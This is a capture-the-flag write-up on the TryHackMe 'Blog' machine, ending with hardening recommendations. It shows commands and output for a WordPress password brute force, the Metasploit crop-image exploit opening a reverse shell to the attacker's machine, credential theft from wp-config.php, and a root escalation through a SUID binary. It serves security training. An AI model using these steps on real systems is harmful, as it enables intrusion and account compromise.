THM{Blog} - Severity: Medium

guyizdez

1 Introduction

As an IT security student with a passion for cybersecurity, I often find myself diving into Capture The Flag (CTF) challenges in my free time. Documenting my journey not only helps me reflect on what I've learned but also serves as a valuable resource for others exploring similar paths. In this series of write-ups, I'll be sharing my experiences tackling various CTF challenges. In this particular write-up, I've focused on the Blog CTF from TryHackMe.

2 First Scan

2.1 nmap

I always start with a nmap scan to see what is running on the system

```
nmap -sV -sC -oA initalScan -vv $ip

Discovered open port 139/tcp on 10.10.138.215
Discovered open port 80/tcp on 10.10.138.215
Discovered open port 22/tcp on 10.10.138.215
Discovered open port 445/tcp on 10.10.138.215
Completed Connect Scan at 07:02, 0.52s elapsed (1000 total ports)

[...]

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2024-08-18T11:02:37+00:00
| smb2-time:
|   date: 2024-08-18T11:02:37
|_  start_date: N/A
```

There are 4 pors open: 139, 80, 22, 445

As instructed in order to get the blog to work with AWS, we should add IP blog.thm to our /etc/hosts file. While reading the blog I found nothing really special so we can start Wordpress vulnerability scanner.

3 Wordpress

Since we know now that we have a Wordpress site, we can use the wpscan tool with the following command.

```
wpscan --url $ip -e u

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.10.138.215/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://10.10.138.215/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%


[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.138.215/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.138.215/, Match: 'WordPress 5.0'

[i] User(s) Identified:

[+] bjoel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.138.215/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] kwheel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.138.215/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Aggressive Detection)
```

We found a loginpage under /wp-admin. Thanks to our wpscan we also have the matching usernames. Namely: bjoel and kwheel. We can perform a bruteforce attack with the following command.

```
wpscan --url $ip -U users.txt -P /usr/share/wordlists/rockyou.txt

[SUCCESS] - kwheel / cutiepie1
```

We found our first username and password pair and can login. While waiting a little bit more for the bruteforce we can search for an exploit. A nice exploit that we can use: CVE-2019-8943. It is a WordPress Crop-image Shell Upload. This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 <= 4.9.8. Which matches our version. With the username and password credentials we have, we can use this exploit to get us a shell.

We set the needed options and run the exploit.

```
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port
     ][...]
   RHOSTS     10.10.138.215    yes       The target host(s), see https://docs.metasploit.com/docs/
     using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection
      if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


msf6 exploit(multi/http/wp_crop_rce) > run

[*] Started reverse TCP handler on 10.9.0.234:4444
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (39927 bytes) to 10.10.138.215
[*] Meterpreter session 1 opened (10.9.0.234:4444 -> 10.10.138.215:47054) at 2024-08-18 07:54:14
    -0400
[*] Attempting to clean up files...

meterpreter > shell
Process 1722 created.
Channel 1 created.
ls -al
total 228
[...]
-rw-r-----  1 www-data www-data  5458 May 26  2020 wp-activate.php
drwxr-x---  9 www-data www-data  4096 Dec  6  2018 wp-admin
-rw-r-----  1 www-data www-data   364 Dec 19  2015 wp-blog-header.php
-rw-r-----  1 www-data www-data  1889 May  2  2018 wp-comments-post.php
-rw-r-----  1 www-data www-data  2853 Dec 16  2015 wp-config-sample.php
-rw-r-----  1 www-data www-data  3279 May 28  2020 wp-config.php
[...]
```

Interesting for us is the wp-config.php file. If we cat that file we can see the following, which is the password for our other user bjoel. However we can not do much with the user.

```
/** MySQL database password */
define('DB_PASSWORD', 'LittleYellowLamp90!@');
```

4 Linux-Smart-Enumeration

A nice tool that we like to use is the linux-smart-enumeration script. The shell script will show relevant information about the security of the local Linux system, helping to escalate privileges. We can easily upload it via the meterpreter shell to our system.

```
meterpreter > cd /tmp
meterpreter > pwd
/tmp
meterpreter > upload lse.sh
[*] Uploading  : /home/kali/blog/lse.sh -> lse.sh
[*] Uploaded -1.00 B of 47.73 KiB (-0.0%): /home/kali/blog/lse.sh -> lse.sh
[*] Completed  : /home/kali/blog/lse.sh -> lse.sh
meterpreter > shell
Process 1984 created.
Channel 3 created.
chmod 755 lse.sh
./lse.sh
```

Make sure to change the permissions of the file with chmod and the run it. In our output we see a lot of information among other things an uncommon SETUID binary file. This reminds me a bit of the Mr.Robot CTF on THM. The file in this case is: /usr/sbin/checker

5 SUID Binaries

Let's clarify what SUID/GUID binaries are: SUID/SGID binaries are significant in security testing because if a binary has the SUID bit set, it runs with the privileges of the file's owner (often root) rather than the user who executed it.
If a binary has the SGID bit set, it runs with the privileges of the group that owns the file. These files can be exploited if they are not properly secured, potentially leading to privilege escalation.
Lets have a look at the file

```
cd /usr/sbin
ls -al checker
-rwsr-sr-x 1 root root 8432 May 26  2020 checker
```

If we run the checker file, we immediately get a message which says that we are not an admin.

5.1 ltrace

It's time for a bit reverse engineering. We can download the checker file locally to inspect it further, or we can also do this in the shell itself. Whatever you prefer. I found it easier with the ltrace command in the shell itself.
ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.

```
ltrace checker
getenv("admin")                                  = nil
puts("Not an Admin")                             = 13
Not an Admin
+++ exited (status 0) +++
```

Based on the ltrace output it appears that the only check the application does is to check an environmental variable called admin for a value. Let us add a value to the admin environmental variable to see what happens.

```
export admin=1
ltrace checker
getenv("admin")                                  = "1"
setuid(0)                                        = -1
system("/bin/bash"
```

That looks great as we can now see that the 'admin' environment variable has a value of 1. Now we just need to run the program again.

```
./checker
whoami
root
```

Let's go hunt the flags. The first flag can be found in the /root directory. The second can be found in /media/usb. We got a hint on that in a pdf file in bjoels directory.

6 Recommendations

Based on the findings from the penetration test, the following actions are recommended to enhance the security posture of the system:

6.1 Update the System

To avoid such vulnerabilities in the first place it is important to keep the system up to date.

- WordPress: Update to the latest version to address known vulnerabilities.
- Other Software: Apply security patches and updates for the operating system and all other applications.

6.2 Address SUID Binary Vulnerabilities

Review and secure SUID binaries:

- Audit SUID Binaries: Identify and review all SUID binaries on the system.
- Secure or Remove: Remove unnecessary binaries or secure them to prevent unauthorized privilege escalation.

6.3 Implement Strong Access Controls

Enhance access controls and authentication mechanisms:

- User Access: Review and adjust user permissions to ensure that only authorized users have access to sensitive areas.
- Authentication: Implement multi-factor authentication (MFA) and enforce strong, complex passwords.